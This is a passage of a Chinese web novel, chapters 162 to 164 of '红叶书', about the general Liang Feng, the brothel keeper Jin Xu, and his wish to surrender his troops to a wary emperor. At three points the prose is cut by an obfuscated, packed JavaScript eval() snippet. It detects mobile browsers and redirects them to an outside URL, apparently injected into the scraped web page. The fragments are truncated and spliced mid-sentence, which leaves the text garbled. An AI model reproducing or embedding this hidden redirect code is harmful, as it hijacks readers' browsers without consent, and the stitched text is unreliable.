这一个晚上真是长。前馆的人陆陆续续回来睡觉,寝楼热闹了一阵,梁风担心会不会吵到她,还见到了小缃。小缃与他打过招呼也回房了。 金絮果真睡了,没有再醒来。随着所有蜡烛熄灭,梁风身边再次陷入寂静。 他靠着廊柱不知不觉也睡着了,睡得不深,见到金絮坐在他面前,她腿上放着他的刀,她拔不开,他上前教她怎么拔开。 雪亮的刀锋露出一截,锋利的刀刃冲着他,他和她说:“刀是单刃,剑才是双锋,军人的刀刃永远朝外,不会对着自己人。” 金絮认真听着他说话,听他说完便把刀合鞘。 梁风看着她的眼睛,想军营里几乎无人用剑,他所认得的人里,只有皇帝是用剑的。 “我是一个合格的将领吗?”他问金絮。 金絮摇头,“你不是。伟大的将军必须漠视死亡与鲜血,无论是自己的、敌人的,还是战友的,你无法成为这样伟大的将军。” 他又想问,不说伟大,只说合格呢? 脑袋一点,他醒了,睁眼的瞬间恍惚分不清刚才的画面是陷入回忆还是做了梦。 半边身体麻掉了,脖子扭着,动一下就痛,他感觉刚才应该是睡着了。 天亮不久,他继续坐着,浅浅睡过后精神没有变得更好,昏昏沉沉,脑子转不动了。 逐渐有了太阳,热气与温度晒得暖烘烘,清醒过来,梁风看看尚不算刺眼的太阳,有些明白为什么金絮晒太阳就会开朗轻松许多。 他觉着自己有些地方和她挺像的。 嘎吱——门开了。 金絮被阳光刺了眼,脸皱起来,看见他的一刻愣住了,惺忪睡意瞬间消失。 “你是个傻子吧?” 她的声音有点哑,梁风搓着手指,莫名因她的语气感到不安。 她很无奈地低头,似乎是想掩盖皱皱的脸,梁风却在她藏下的神情里发现一些厌烦。 他看得出脸色,反应过来自己出格了。 在未婚嫁的女子房门外守了一晚,也可以说监视了一晚,这和变态有什么区别,她又不是小孩子了。 梁风尴尬又愧疚,自省找补:“我想问你要不要一起吃早饭......” 她经营温柔馆这么些年,肯定遇到不少死皮赖脸、纠缠不休地试图猥亵的男人,他这时变成这样的人了。梁风起身,歉歉道:“我走了。你没睡醒吧,继续睡吧。” 他不翻墙,往前馆大门走。 到庭院过了桥,梁风担忧地停下,忍不住想她平常没醒这么早吧,今天破天荒地早起,不知道馆里厨房有没有备她的早饭。 恐怕是没有备的,昨夜在他催促下入睡,她都来不及吩咐。要不去外面买份早饭进来给她再走,也不急这一时。 扑通—— 一道轻微的落水声。梁风下意识往池上一看,金絮正站在桥上往水里扔木头。 梁风略一踌躇,还是走过去,问她:“饿不饿呀?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839896|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “饿了。”她不知从哪里抱来一小捆比指头粗些的树棍,漫不经心往池水里扔。 “那我给你买早饭去。” 他殷勤得很,说完就要走,才转身就被她抓住袖子,老实巴交地被拽她回去,想是还有什么吩咐,脚底都没站稳,就见她面无表情地抬起双手,胸前被她摸住,接着一股大力推得他往后仰。 扑通—— 一道极大的落水声。 天空颠转,池水往脸部一裹,窒息的感觉令四肢自主扑腾。一扑腾,他就站了起来,用力睁睁眼睛,水深也就到他腰部。 他掉进了水里,梁风茫然地抬头看她,“怎么啦?” 他问得忐忑,隐约也知道原因,“我想给你买早饭。” 金絮低头,脸上没有嘲笑意,目光阴阴的像要下雨,低垂的眼睛没有日头映照,吸入水面浓郁的情绪与晦暗,极静的眼底几乎能压平水面扩散的涟漪。他毫不生气,对她的目光更不感到反感,这一刻甚至不想立即爬到岸上去。 “我应该救你。”她道:“我不知道应该怎么帮你。” 她捏住一条木棍,朝他扔,扔中他的头顶,“掉进水里,要变成木头才能浮起来。身上绑了一块石头,你反而要把绳子割断。” 梁风再一次感受到她扔东西是极准的,也不躲,由她扔。木棍荡荡悠悠地浮在水面,他捡起木棍攥手心里,仰脸巴巴看着她,“你想救我。” 木棍准确地砸中他的左肩、砸中他的右肩、砸中他的胸口、砸中他的鼻子,直到木棍扔完了,金絮没有回答他的话。 梁风愈发感到忐忑,在她注视下产生某种不知名的感觉。 一名前馆的丫鬟匆匆跑来,着急和金絮说了些什么。 金絮听后,垂眸看他,俯视众生般,“上来。” 梁风攥着一手木棍,乖巧地手脚并用爬上去,衣服的水哗啦啦往下淌。 “李管家来找你,问你什么时候回府。”金絮也下桥。 “马上回去了。”他并不太想管老李,只问:“你说的木头和石头是什么意思?” 金絮不答他,抬脚就往前馆大门走。 梁风跟在她身旁,“那我自己想。” “你还没有吃早饭。” “我昨天在街上听见许多人说些对温柔馆不好听的话,你会不会不开心?” 这话她答了:“这样就不开心了?你以为做青楼行当的人听见的风言风语就只有那几句不好听的话吗?” “你们还听见什么?”他殷殷地。 “什么都有啊,编排我们沦落风尘前的经历,或者臆想我们抢男人的各种非人手段,说我们是狐狸精转世什么的,很多流言都是同行传出去的。” “同行......”他忧忧地。 “她们说我们是狐狸精,我们说她们是母夜叉转世,出手必见血。” 她和其他青楼同行有矛盾,恐怕不止是因为竞争,男人就那么多。梁风看她的脸,她此刻脸上是没有妆的,鼻子边有些小红点点,眼睛下面有些青黑,皮肤太白了,像是生病了。他知道不是十分生病的样子,更像没睡好的憔悴。 “你要多晒点太阳,整日昼夜颠倒,一点太阳都晒不到......” 忽然脚底一颠,梁风踉跄地前扑,扑两下站稳了。光顾着看她,没有看路。 站定后被她落在身后了,梁风快两步追上去,绕过一个弯,就看见大门前的老李。 “你还没有吃早饭。” 梁风说完,老李便闻声注意到他,登时一愣。他无辜地垂手站着,衣袖滴滴答答地落水。 金絮一礼,“李管家,安分王殿下一整夜守在我房门口,想偷看我睡觉,于是我把他推下水,作为惩罚。” 老李的视线看过来,梁风瞪眼,立马辩驳:“我没有偷看你睡觉。” “凝荷已经同我说过了,你偷看了。” “那是......”那是凝荷带他去看的,又不是偷看,被人领着才去做的事情能叫偷看吗?那叫......那叫观察。 “王爷,回府换衣裳吧。”老李道。 “记得吃早饭。” “我恐怕断手断脚了,衣食不能自理,连吃早饭都需要你操心。” 梁风说不出话来,低头老老实实地和李晟走了。 金絮又礼,“梁公子慢走,下次再来。” 162. 《红叶书》(八二) “王爷,昨日崔府世子来找,您不在,今日一早又来了,这会还在府中等您呢。”老李道。 梁风默默,前两天他在府中闭门不出的时候接连几次拒敬先于门外了。 “应该我上崔府找他,他小孩出生后我还一直没看望过。” “王爷会看望小孩?” “不会。” “府里还有几匹布,是您军功的赏赐,适合给小孩做衣裳,不如送给崔世子?” “可以啊。” 梁风湿湿地坐在马车里,双手握着金絮扔掉的树棍,七八根,刚刚分开就想她了。 “你再晚一点来,我说不定可以和她一起吃早饭。” 老李尬了,挠头歉意道:“那么往后没有您知会我便不去温柔馆催促您了。不过和崔世子吃早饭也是一样的,府里已经备好了。” 梁风努力将思绪从她那边抽出来,寻思这七八根树棍该怎么处理,他想做成笔。他得找点事情干。 到府下车,梁风拖着湿衣进殿,前殿内的敬先已经等得着急了。 “花酒很好喝啊?”敬先看见他就质问。 梁风摇头,将这几根树棍在桌子上排开放好。 “是不是我根本不需要担心你。”敬先扫眼他手里的东西,眉头一皱,“还真有股香气!女人的味道。” 梁风低头看看衣服,只闻到了池水的气味。 “我给你小孩送几匹布,你拿回去做衣裳,小孩衣裳不耐穿吧。”他凭常识想。 “那我可不客气了。你要是想找人一起喝酒,找我啊。”敬先道:“不过我可不会陪你喝花酒。你这身衣裳怎么是湿的?” “花酒怎么了?”梁风往殿内走。 “我听旁人说的,花楼里的酒都是滑溜溜的,喝起来不痛快。”敬先跟着他走。 “烈的也有。”梁风脱衣裳。 关于他如何在青楼寻欢作乐,敬先只点到为止,话头一过就问:“没事了?愿意见人了?” “嗯。” “我听老李说,你已经很久没去军营了?” “嗯。” “为什么不去?” “不想去。” 敬先皱眉,寻思什么。梁风不想瞒着,已经和金絮开过口了,再和别人说出来也容易,直接道:“我想交出兵权看看。” 敬先没反应过来,歪头愣住,逐渐目瞪口呆。 正送干净衣裳进来的李晟听见这话便停下了,眉眼间的皱纹深深地看着他。 梁风自己从老李的衣托中取衣换上。 “为什么?”敬先愕然道,问后果断反驳道:“不行,不论什么原因,绝对不行。这可没有‘看看’的余地,交出去了后悔了你还想再拿回来?” 梁风沉默着慢吞吞穿衣。 “军心和兵权不能分开,分开这个军营就完蛋了,你如果交出去,皇帝肯定会杀掉你。”敬先厉声道:“不能交出兵权。” “我知道。”穿好衣服,梁风扯一块干巾,一边擦头发一边听两位训话。 敬先一把扔掉他的干巾,“你为什么想交出去?” “我不想杀人了。” “就因为......”敬先停住,很快再道:“不想杀人,我可以理解,但你这个时候要做的反而是把整个军营牢牢抓在手中,杀人的事情可以交给别人。” “敬先,不可以这样说。” 梁风严肃起来,“难道我应该死抓着兵权,只安心做我的大将军,再不上阵,杀敌冲锋的事情全交给下面人去做?这样的事情我可做不出来。” “你......”敬先噎住,嫌弃,“不行,我坚决不同意你交出兵权。” “万一我没死,皇帝愿意留我一条性命呢?” “这样留下的性命和半死也差不多吧?死不死的事情,你说‘万一’?万一你死了呢?你人不在军营,但底下那群士兵全部心向着你,知道皇帝会怎么对付你?会怎么对付他们?皇帝怎么可能容许这种事情发生!” 梁风想到刺杀他的小兵,摇头坦白:“他们的心不一定向着我。” “你想啥呢?哪怕有几个别有用心的,那也是安插进去的刺客,不是你的人,这可是快十年的心血......”敬先苦口婆心:“你才刚刚替我爹完成夙愿,这时就想放弃了?” “王爷想好了?”老李问。 “没有,我没有想好。”梁风还是摇头。 敬先道:“因为不想杀人而放弃兵权,你营里那些士兵全都不顾了?他们那群人,不是山匪就是农民兵,皇帝接管你的军营发现那群士兵全向着你,你觉着按皇帝一贯的作风,是会把他们全杀了换一批,还是重新驯化?不知道该说你是心慈还是心狠。” 梁风无言,他觉得敬先说得有道理,听进去了,但还是摇头。 “按皇帝一贯作风,肯定是不会杀他们的,招纳新兵不是容易的事,皇帝没那么蠢,这是一支已经训练成型的军队。” 敬先万万没想到,想张嘴再说,梁风抢先道:“我知道了,我再想想吧。” “还想呢,不能交出去!我真的是......”敬先气笑了,“我要是皇帝,知道你有这念头,做梦都该笑醒,居然白得一军队。” “懒得与你多舌。”敬先扭头就走,大步地离开。 梁风忙追过去,大喊:“你不陪我喝酒了?” “你自己去你的温柔乡喝吧!”敬先头也不回。 梁风追上去,勾肩搭背,“滑溜溜的酒喝多了也不好喝。”虽然温柔馆的酒不是滑溜溜的那一种。 敬先冲他翻白眼,“我夫人还在等我......” 不顾敬先意愿,梁风拽着胳膊往酒楼去。 市井酒楼喝起来比较有滋味,他现在非常愿意喝酒,梁风让店小二先上两大坛。 哐哐两大坛子酒上来,梁风当即分碗,各倒一碗。 敬先不耐烦了,“你可省省吧,饭都还没吃,大清早喝酒啊?” 梁风一想也是,把酒碗放一边,叫小二先上两碗面条,加四斤牛肉。 等面条的时候,敬先抱臂警告:“你要是敢把兵权交出去,我就......” “你就怎样?” “我就只在你死后头三年给你上香,三年之后,你的坟头草长多高我都不除!” “有老李帮我除。”梁风不受威胁。 “笑话,你死了,你府里的人还能活?” 梁风不说话了。 面条很快上来,敬先捏着筷子搅一搅,略为嫌弃,“酒便算了,这面条也太寒酸了。” “不是挺香的。”梁风不嫌弃,“刚才府里备了早饭,忘记吃了。这家酒楼的酒味道不错的。” 敬先怒道:“堂堂安分王这么磕碜,你把兵权管好了,有本事给我带燕国的酒来。” 他还没说话,旁边小二听见了连忙过来。 “诶诶诶,客官客官,我们这是小本生意,可犯不得禁呐,那王殿下的大名,您二位还是别提得好。” “什么那王?”敬先没收起来的气对着外人发作。 “就是那个王爷啊。”店小二诧异,压低声音,“客官您还不知道?昨儿入夜前官府出了告示,说是私下不能说那王的话,否则是会被官府记过的。” 敬先看了他一眼,收了气,同样压了声音问:“记过是怎样?谁出的告示?” “谁出的告示小的可就不知了,小的只知道被记了过,半个月内是不准进出东西两市的,生意可就没法做了。” 小二手里的布巾往肩上甩,更压低声音道:“这不是说那个王前几日死了老娘么,死娘当天还上青楼找美人儿,跟死的不是自己娘似的,上边儿的人呐也是要脸面。” 小二一欷,走了。 戳在面汤里的筷子夹不起来了,梁风怔怔听着,敬先看过来后,他才低头捞面条。 “没事,昨天我都听到了,很多人这样说。” “再把兵权交出去,说你的话只会更难听。你没了兵权皇帝定会杀你,杀你之前定会给你安个罪名,只管往难听了安。” 敬先转念一想,沉声道:“是谁想压下说你的这些议论?官府?” “不知道。”控制舆论风声的情况昨天还没有,今天就出现了,不知道是不是好心。 梁风站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839897|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗边,打哨召来暗卫,查一下这件事。 他继续吃面条,吃了几口就想喝酒了。 “话说得也没错啊,只是把那些姑娘们说得也很难听。” 敬先不可思议地看着他,“你真心疼了?对那些风尘女子?”筷子敲敲碗,“不是说不可以,只是你该分分轻重,这个时候有些地方少去。” 梁风索然无味吃面条,他就是想见金絮能怎么办。 敬先见他这样子也是无奈,“你要真想去,当然没人能拦你,守孝期有三年。” 面条吃一半不吃了,梁风一碗一碗喝酒。敬先和他一起不吃了,开喝,几次端碗想说什么,但是没说。 喝了半坛,暗卫查完回来了。 查得很快,暗卫说,禁止偷议安分王的限令不仅限于酒楼,而是全城。这很容易查,因为能让官府出告示且半天内禁令便播散全城,除了朝廷能办到外没别的了。 “皇帝啊。”敬先道:“这是为你好?” 梁风不知道,朝廷想为他压下舆论,不是皇帝就是游照同,反正是这俩人合伙商量的。他那天晚上做事确实太张扬了,最近街上认得他的人都多了不少,还给温柔馆带去了影响。可他就是想找金絮能怎么办。 梁风一口把碗里的酒喝完,“我回军营去了。” 身边没马,梁风翻窗跳上屋顶先回府。 敬先追在他后面喊:“别忘了你还要整顿军营的!” 回府骑了马,梁风远远和老李打了声招呼,便骑往军营。 他没有操控,马匹都认得路,驮着他看见了营门口两座高高直立的望楼。 望楼哨兵吹响号角,提醒将军归营。梁风伴随一路的招呼声,回到了他的营帐。 没有变动,没有任何区别,他去那场中秋宴之前是什么样子,此刻就是什么样子,就连当时起身撞歪桌上的一支毛笔都还在歪斜的位置放着。 他坐下,极其自然地开始浏览军务。军报的摆放位置与批复流程都是一样,报送到他这里都是盖印的最后一步,没有被人干涉修整过的痕迹。 副将进来向他汇报这几天的大事件,小事件则一句话带过,梁风多数沉默听着,关键之处才提问一下后续,和往常的流程没有区别。 汇报完后还问他有何别的吩咐,梁风说没有,副将便自然退下。 剩下他一个人,他的主帅营帐往常都是这样安静,连这股寂静都没有区别。 营帐一侧是他的铠甲与他的刀架,不同的是铠甲修复过了,胸铠的裂口恢复不如初。修甲师傅和他建议过换一副新铠,胸铠部位被打薄,且裂口太大,即便修复好了,补丁部位也抗不过一击。 他记得他当时没说话,没要新的,也没说继续穿旧的。 梁风取下他的刀,握到手里的一刻才发现变化最大的是这把没有变化的刀,居然变得异常沉重。还是他力气变小了。 梁风拔鞘,刀刃寒光凛凛,刀面并不十分清澈,在无数人血肉骨骼的摩擦之下变得模糊而粗糙,反照着他时无法看清自己。 这是赵横的刀,早在到他手里前就已经被鲜血泡得浑浊暗淡了。 这几年他养护得很好,没有卷刃裂口,它当年握在赵横手里有多锋利,如今就有多锋利。但他无论如何擦拭清洁,刀上的血气都擦拭不干净了。 帐外有人请进,梁风应了声,进来的人是楚通。 “将军,吃饭了。” 没留神已经入夜,梁风出到露天吃晚饭的地方,夜间伙食也如往常一般,大锅饭。 “给。”楚通递给他一碗饭。 楚通因功升衔,再升一级就是副将职位。将领太少,获得军功的人都升得很快。 梁风希望自己和往常也没有区别,席地坐下,和众将士一块吃肉喝酒。 没有变化,或许是这个军营还有他的位置,也或许只是为了维持现有军事体制的稳定。在他总是亲力亲为的监管之下,这套流程进行了好几年,已经足够成熟有效,不需要变动了。 他感受到了皇帝的忌惮,他在犹豫,皇帝也在犹豫。 军营没有变化,但他自己已无法和从前没有区别了。 163. 《红叶书》(八三) 睡到第二日天亮,梁风照常指挥操练,巡视时额外关注楚通。 楚通挺勤奋,似乎注意到梁风的关注,于是更加勤奋了。 午后皇帝传来旨意,说西南白牢人疑似预谋造反,频繁阻拦税钱上京,特派楚通年后带兵前往白牢疏通钱道,扑灭白牢人造反意图。但顾及楚通麾下小队尚不成熟,命梁风调派三千余精骑往楚通营中,由这三千精骑负责对楚通队伍进行训练,训练毕返回。 梁风收到这个圣旨,暂不表态。 这是想分化他的兵力,给楚通的三千精骑很大可能收不回来,他一旦派出去,后面能出现很多种理由将这三千人留在楚通麾下。但他可以趁楚通不在,升个人顶替楚通位置。 皇帝在慢慢表露态度,试探他的想法,他这边得有回应。他可以和皇帝拉锯得有来有回,也可以完全不听皇帝旨意,行事全凭他愿意。 这是掌握权力的感觉。 所有军务包括皇帝下发的旨意都需要从他这里通过,经他批复才会散布,他是军营里的游照同。 经过这几年的训练,楚通、副将和一干校尉等中高层将领不再是什么都不懂,他们懂得如何在一定权限内处理军务、如何安排城内与节庆的安防布局、如何处理水利疏通,他不再需要什么事情都亲力亲为,只需负责决策调度,同时还能保证最高权限在自己手中。 这是到了有钱有权还有闲的时候了,他有很多时间陪金絮。 如敬先所说,他当真可以手握兵权安然坐于最高位,没有什么再能威胁到他,任何需要拼死奋战的事情全都交给下面人去做,这些人野心勃勃,为了讨好他恐怕还会抢着干。 可是他不愿意这样,为将者承担整个军营所有生命的责任,这份责任不能由尸位素餐、优柔寡断的人占据。 他独自想不出结果,还是想找人商量一下。 这一寻思,皇帝的旨意迟迟未回复,傍晚时分又一道新旨意下达。 皇帝找出前次抗匈时一次后勤援粮的失误,是梁风负伤修养、楚通带兵降服匈奴廷时,一批往前线的粮食送晚了大约一个时辰,以此为由提出更换他的后勤总管。 皇帝列了四个人的名字,问梁风在这四个人里面可有中意的后勤总管人选。 梁风叫副将翻出当时的军报重新看。 军务中确实记录了这件事,原因是掩埋战友尸首时,有人提出就地为死去的战友做一番简单的祭奠,希望伙食营能提供一些米面肉菜。 梁风批驳了,理由是当时尚在冬末,粮食优先考虑活人,待全军凯旋返京再举行祭奠仪式。 是一件小事,他记得不很清楚。 出征在外,营里时常发生意外插曲,提出这一要求的那人也是好心,且在收到梁风驳回后未做纠缠,没想到这时被皇帝翻旧账。 梁风写明原因回复皇帝,无必要变更后勤总管,而后不再多管,入城找金絮。 他有许多话想和金絮说。 军营到城门距离二十里,以往骑来不过片刻就到了,这时忽然感觉遥遥路程费时费力。 这段路,时候巧了,能遇上日出或夕阳,广阔的平原看美景比在城内的视野要好许多,这个时候总希望能和她一起看看,她自然没一次是在的。 温柔馆正是最忙的时候。 有东西沉寂下来,总有相应的事情变得兴盛。梁风走进温柔馆,一两个姑娘上前招呼他,又是说金絮在忙。 忙忙忙,她忙得脚不沾地,游走于各个男人之间。 梁风挑个空位坐下,默默看她,等她忙完。 他不回复圣旨的空闲时候花在青楼里面,应当不会增加皇帝忌惮。 他可以痛快喝酒,梁风要了两坛酒,打算独自喝完。 半坛喝下去,金絮注意到他这边动静,不过只是看了眼就不理他了。 差不多到亥时,梁风喝得有些醉,眼睛一下子没找到金絮,他趴到桌子上就想睡觉。 快要睡着时,有人打他的脑袋。 梁风烦烦躁躁地抬头,看见金絮隔着桌子站在面前。 “又喝醉了。” 梁风忙甩耳朵,“我没醉。” 他伸出手去,摇摇晃晃起身,握住她的手就把她往楼上带,知道轮到他了。 “你给点空闲给我,我有话要和你说。” “你说吧。” 梁风睁眼看四周,确认自己没有醉,悄悄和她说:“皇帝在试探我的态度。” “嗯,小点声,然后呢?”她声色不动。 “不知道。” “皇帝是怎么试探你的?”金絮关上门,房里只剩下他们二人。 “皇帝想牵制我,他不想杀我,他想看看我还愿不愿意被他牵制,他想找出一个能让双方安心的平衡位置。”梁风在案前坐下,拍了拍身侧的近位。 “这个平衡的位置找到后,是既不杀你,也不干涉你,会给你一定自由,但你必须听他的话?”金絮坐到他对面。 “应该是的。” “应该?这是你的猜测?” 梁风点头,一脑袋垂下去,后颈都突起来。 “你猜错了呢?” 梁风不说话。 “我不认为皇帝会这么想。平衡或许会有,但对皇帝来讲,兵权不在可控之人手里,他永远无法安心。你说的只是暂时安抚你的手段而已,这样的手段对付你特别好使。” 梁风默默,再次低下头去。 金絮不说话了,梁风小心抬头,对上她的眼睛,被她静静地看着,心里有点安了,辩解道:“我比你了解他。” 金絮眼睛不动,闻言嘴角却一扯,“当然,你当然比我了解昏君。” 梁风双臂趴到桌子上,前前地向她伸着,她的手在桌子下面,够不到。 他努力伸着,牢牢盯着她,金絮默然半晌,才把手也伸了出来。 “我回想我这二十多年,做得最勇敢的事情,就是那年选择留在皇帝身边。” “那年?” “好像是我......八岁那年?” 梁风捏住她的手指,凉的,他的脸正热着,梁风把她的手指扒开,把自己的脸贴上去降温。 “当时我是真愿意,真心愿意,从那之后我再没做出仅凭我心而做出的选择。” 他枕着她的手当脸床,快要睡着了。 “救了我难道不是吗?” “是。”梁风忙道,“也是,就这两件事。”他竖出两根手指。 金絮看着那两根手指,道:“所以你爱死你二哥了。” “不是不是,没有,你听我说。”梁风着急了,竖起脸,压住她的手臂不让她抽回去,仿佛这样能让她认真听他的话,她的注意能留在他这里。 “我想再能做出一次选择,做出仅凭我自己愿意,没有人干涉我的选择。” 金絮默默看着他,梁风说完捏捏她的手,还想枕回去。金絮抽动手臂,挡开他,“去床上睡。” 梁风很听话地站起,走到卧室的床上,利索躺下。 “不想睡。睡着你又要去和别人说话。” 金絮想越过他扯被子,梁风忽然举起双手,感叹道:“我现在很有权力,我能感觉到。” 他宣布一般说话,金絮看他一眼,“这是自然。” 梁风缩手回来,“可是我很怕,等我享受过位高权重的感觉,我的本心会变,会变得像皇帝那样,只顾自己利益,不顾他人生死。” 梁风睁圆了眼睛灼灼看她,“这种感觉你能明白吗?” 被子扯盖他身上,金絮坐到床边,道:“我明白。” 她明白。梁风拢着被子,一瞬不瞬地看着她,心里变得极为平静。 “我卸去军务,我就能多陪陪你,你说过你要我多陪陪你的。” 金絮眉头一皱,疑惑道:“我什么时候说过?” 梁风眨了眨眼,这句话在脑子里过了两遍,他忽然瞪大双眼,浑身弹起,弹成坐姿,铺好的被子变皱。 “你忘记了?” 梁风凑近她的眼睛警告道:“你不可以忘记,我当真了。” 金絮没什么反应,他的警告在她这里仿佛无物,反问:“你决定要把兵权给出去了?” 梁风低头不说话。 “与其把兵权给别人,不如给我。” “给你?” 梁风再次凑近她的双眼,眼前的事物变得重影,离远了看不清楚。 “嗯。”金絮坦坦荡荡由他看着。 他摸摸胸口,摸到腰带上面一点凸起的东西,伸进衣襟里把东西摸出来,朝她一递,“给你。” 金絮接过,仔细看着。兵符是一只咆哮老虎的侧面形状,比掌心小一圈,黑底缠金丝纹,虎尾巴有一块细小的缺口。 她揣进怀里,“谢谢。” “不用谢。” “那就睡觉吧。” 好像忘了什么,梁风乖乖躺下,自己扯被子,闭眼睡觉。 金絮再坐一会,见他睡了便起身吹蜡烛离去。 “你没有忘记吧?”梁风出声。 “没有。” 梁风坐起来,“那你还要我陪么?” “不要。” 梁风趴回去,死。 门咔吱地打开,脚步踏出去,门又咔吱地合上......梁风跳起来大喊:“你不要后悔!” “不会。”她的声音很冷静,关门动作都不停。 门关了。 房间融入寂静与黑暗,梁风直愣愣踩着床,不想睡。 然而他是真的困了,一躺下倒头就着。 第二天醒来,日头很大了。 梁风慢吞吞起床,慢吞吞洗漱,慢得肚子饿了,还想洗个澡。 找遍了屋子没有换洗衣物,他推开门,楼下奇怪地没有丫鬟。 梁风在厅堂坐着发呆,虽然饿,但不是很想吃早饭。坐了半天,还是决定不要打扰她了,她肯定还在睡觉。 梁风堂堂正正地从温柔馆大门走出去,一身正气。 他回到王府,老李果然在等着他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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皇帝有些异样。梁风看出来,连续两句用相同的语气和措辞,是掩饰异样,他觉得掩饰得真好。头回有人问他为什么不想杀人。不想杀人居然是个需要原因的事情。 “我害怕。我怕杀人太多,这辈子还没死就遭到了报应。” “不想杀人不杀便可,有何必要交出兵权?”皇帝应答如流,“你杀的那些人都是敌人,不存在无辜之人,心里不必负罪。” 皇帝不知道他在想什么。梁风发现了,但他没法做到皇帝这样流畅,总是需要想一想,一句话一句话回答。 “不可能不存在无辜之人,因战争而死的人并不止出现在战场中。” 这个道理皇帝肯定懂,他没必要说那么多,不存在无辜之人只是皇帝的套话,梁风道:“从我心志不坚定的一刻起,我就已经不配做一个将军,士兵们不可能跟着一个优柔寡断的将领冲锋陷阵,他们需要坚定与果敢的人带领。” 他想了想,再道:“臣希望陛下能相信臣对您的忠诚。” “你想将兵权交给谁?目下军营中尚无能接替你位置的人。” “交给陛下,陛下要交给谁全由陛下决定”这个他答得快。 皇帝表情没什么变化,始终看着梁风的表情,梁风看不出皇帝在他的表情中得出了什么判断。 “让你信念不坚定的原因是因为朕吗?” 他认真地想了,认真地答:“不全是。” 他道:“我不想等得更晚,我如果继续在军营里待下去,我会变成第二个崔固。” 刚才看见那些女子画像他突然想到,皇帝会不会是希望他尽快生个孩子,想用孩子拿捏他,像从前为了拿捏崔固而让敬先进宫做伴读一样。 皇帝嘴巴露出一笑,眼睛里却没笑意。 “这才是你的原因。” 皇帝敛笑,微微正身道:“不会有那一天。朕可以保证,你不会成为崔固。” 梁风摇头,“会的。我亲手练成的军队,我不想怀疑他们。” 皇帝面色忽然做出明显的寒意,目光沉沉。梁风大约知道意思,他前句话明显表露出不信任皇帝,皇帝肯定不满,他不后悔这样说。 不满的原因他知道,但表露出不满的原因他猜不到,难道是给他机会把话收回? 他不收。梁风目光直视过去。刚才没有感觉,这会突然觉着一身过夜酒气沤得难受。 皇帝神情似乎一叹,不知想什么,最后摆摆手让他退下。 梁风于是行礼告退。 交移兵权没有那么简单,他话已经说出口,这事在他这里是没法取消撤回了。 梁风出到殿外,看着明媚的天空,松了口气,拍拍胸口,心里觉得抚慰,宫外有等他回去的人。 准备出宫,手掌顺势摸过腹前,摸到怀里平平。 他脸色一变,赶紧再摸一圈,胸前衣裳还是平平薄薄,没有凸起。 兵符呢?! 164. 《红叶书》(八四) “还我吧。” “不给。” “还我吧。” 冲过一遍澡的梁风乖巧地坐在她面前。 金絮不为所动,“你送我的东西你是会要回去的。” “我不要。”梁风手指抠榻板,“可是兵符......你拿着没有用。” “谁说没用。”她翻翻眼睛,哼道:“我问你,你军营里有多少人?” 梁风老实答:“全军上下加起来,将近十万。” “十万......都听这枚兵符的指令行事?” “嗯。” “不给。” 梁风一根一根拔榻板的毛,“我当时喝醉了......” “你说你没醉。” 梁风羞愧地低头,“我喝醉了,我是想我要把拥有的一切都给你,我不拒绝你。” “那你现在要回去?” 梁风一顿,愈发羞愧,“已经不是我的了。” 她愣了,“你把兵权给皇帝了?” “嗯......” 她的眸光冷了几分,“你的犹犹豫豫只是装模作样吗?” 梁风低头说不出话。 她哼:“给了又怎样,兵符在我手里。” 她从袖子里拿出老虎,梁风看见了,手指慢慢挪过去想偷偷抢,“你拿着很不安全......” 金絮很快地躲开,看似松松拿着,实则紧紧地抓在手里。梁风无奈地揉脸。 “你将兵权交出去,士兵们就当真不听你的话了吗?” 不知她为何这样问,梁风点了点头。 “那我现在拥有这枚兵符,士兵们就都听我的了?” 他不说话,瞧她脸上不是很安分的表情和活泛起来的眼睛,试探道:“我拿别的东西和你换好不好?你拿着不安全。” “不好,我要试试看。”她起身。 梁风猛地拍桌子,啪地一声,桌上的东西一阵晃荡,金絮定住了。 梁风站起来,俯视她,伸出五指,“本王命令你,还给本王。” 金絮抿嘴,攥紧掌心不服气地看他,瞪他,把十万大军放进袖子里,塞进袖子深处,嚣张道:“有本事你就搜身!” 梁风无奈地垂手,倒也不多生气,看着她穿上鞋往门外走,只好跟了上去。 金絮出了温柔馆朝城南走,梁风距她半步,一边走一边劝:“还给我吧,我用别的好东西跟你换。快入冬了,我买一件厚厚的冬衣给你,你喜欢什么颜色?红色好不好?把兵符还给我吧。” 金絮不理他,越走越快。 已过了申时,日头小了,她快走不到半个时辰便慢下来,嘴唇颜色变浅,额头都冒汗了。梁风道:“走累了吧?要不要歇会?兵符你先拿着。” 她这时站定,“到了。” 梁风一看,到南门了。 “你在这站着别动,别露面,看我。”金絮道。 梁风目光转到她脸上,迟疑地点头。 她走去南门口,逐渐走向城门把守的士兵。梁风留在原地,不知道她要干什么。 